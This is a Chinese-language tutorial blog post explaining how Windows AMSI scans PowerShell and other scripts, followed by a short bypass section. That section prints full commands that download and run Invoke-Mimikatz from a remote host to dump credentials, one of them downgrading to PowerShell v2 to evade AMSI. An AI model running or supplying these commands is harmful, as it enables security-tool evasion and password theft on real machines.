前几天受到某位红队大佬指点了一波amsi接口限制powershell脚本的问题,随即便深知自己的知识面不足,这其实是个很基础的技术点,惭愧,于是便快速学习并产出此文,本文尽力通俗易懂,希望能帮到对这一块不太熟悉的小伙伴。

步入正题:

微软表示新的机制AMSI,能够让利用Windows内置host脚本隐蔽或混淆的恶意软件无所遁形,基于AMSI接口的安全软件能够进行更深层次的监控,为系统提供更深层次的安全防护。安全软件能通过AMSI接口扫描文件,内存、数据流等,进行内容源的URL/IP认证检查,并采用技术手段识别恶意行为。用户将可以更加方便地对基于动态脚本的恶意软件和其他攻击行为进行防范。

而AMSI之所以如此高效的原因就在于,无论代码是否经过了模糊处理,无论代码被混淆到了什么样的程度,当脚本需要在脚本宿主中运行时,它都必须是以清晰的、未经过混淆处理的明文代码形式呈现给脚本宿主的。

很多人认为他是负载在windows defender的上的,其实他是win10提供的相对独立的接口,他是存在于操作系统里面的。

就是这个东西:

触发他的规则

不仅限制于powershell,我们查阅了微软官方文档发现,还包括了UAC,VBS等,基本上对所有的脚本语言做了识别

综合流程结构:

黑名单机制

首先他其实是一个黑白名单的机制,准确来说是个黑名单,当攻击者有恶意操作时候,他就会提示并BAN掉

存放名单的地方

那么任何一种拥有黑白名单的机制的,他的名单都要有存放的地方,amsi接口默认是在defender里调用,所以暂时把他抽象的理解为一份存放着黑名单的数据库吧(大胆的去理解)

调用的程序

那么我们要想调用这个名单,得有一个调用的程序  amsi.dll   他是一个dll文件,里面有两个用的最多的函数

在咱们的示例中,PowerShell将运用AMSI DLL导出的函数来扫描用户输入。假如以为无害,则履行用户输入,否则将阻挠履行并记载事件。

AmsiScanBuffer,他是负责决定是否允许运行脚本的函数,比如PowerShell将在每次要评估任何PowerShell脚本时调用此函数

这个函数的介绍展现了非常详细的一些东西:

他需要你输入内容的名称,包括内容一些指定的值



很明显,他是通过以黑白名单的方式测试你是否存在恶意的行为。

另一个是AmsiScanString

应用的场景

比如打开powershell,UAC,VBA的等都是他的场景

不管我们在powershell输入什么东西的时候,他都会通过powershell去调用amsi,然后amsi再去调用查询,也就是存放黑白名单的库中去找,默认的是windows10的defender,只要你的实时保护是开着的,它默认就会调用defender里面存着的的黑名单,相当于他是个数据库,这么牵强的理解也是可以的,中间调用的函数便是scanbuff

powershell是通过什么去调用amsi.dll的呢?

通过automation.dll去调用amsi.dll,amsi.dll里面有个函数是 AmsiScanBuffer,PowerShell将在每次要评估任何PowerShell脚本时调用此函数,用来调用defender里面的黑白名单

调用问题

通常第三方的软件,比如360,火绒等,他们自己写的调用接口,那么就不用调用默认的dfinder了,那么我们可以理解为,把amsi的接口接到了360or火绒上。

为啥我们装了360的电脑,操作net user添加用户时候会弹窗告警呢?

那就是因为他和dfinder的黑白名单写了不一样的东西,把他们认为具有威胁性的写进了黑名单里面,比如敏感的powershell恶意操作,增加用户的Add等等,所以amsi.dll最后去调用黑白名单的时候,调用的就是360or火绒的,所以他们就会弹窗告警。

bypass amsi

强制使用PowerShell v2绕过 amsi(前提是win10机器需要.net3.0以上)

如果PowerShell v2可用,就用它,因为版本2没有支持AMSI的必要内部挂钩

我们用原始powershell执行经典的抓密码,可以看到是被amsi拦截的


Invoke-Mimikatz

powershell -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.134:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"



powershell -Version 2 -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.123:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

如上图,利用V2降级攻击的方式,便不在拦截成功绕过了amsi愉快的抓到了密码。

绕过amsi的方式可太多了,例如修改注册表,混淆,更经典的是DLL劫持,Hook等等,以后会专项出一篇绕过amsi的方式好文以供大家学习探讨。

参考:

https://docs.microsoft.com/en-us/windows/win32/api/_amsi/

https://cloud.tencent.com/developer/article/1590511

总结:

总的来说,AMSI针对的是那些采用PowerShell、VBScript、以及JScript等语言开发出来的恶意脚本,它可以大大提升恶意脚本的检测准确率,并帮助用户有效地屏蔽这类恶意脚本。在脚本宿主准备运行某一段脚本代码之前,AMSI便会介入并尝试扫描出代码中潜在的恶意内容。但也不是不可绕过,绕过AMSI一直都是渗透师们热门话题。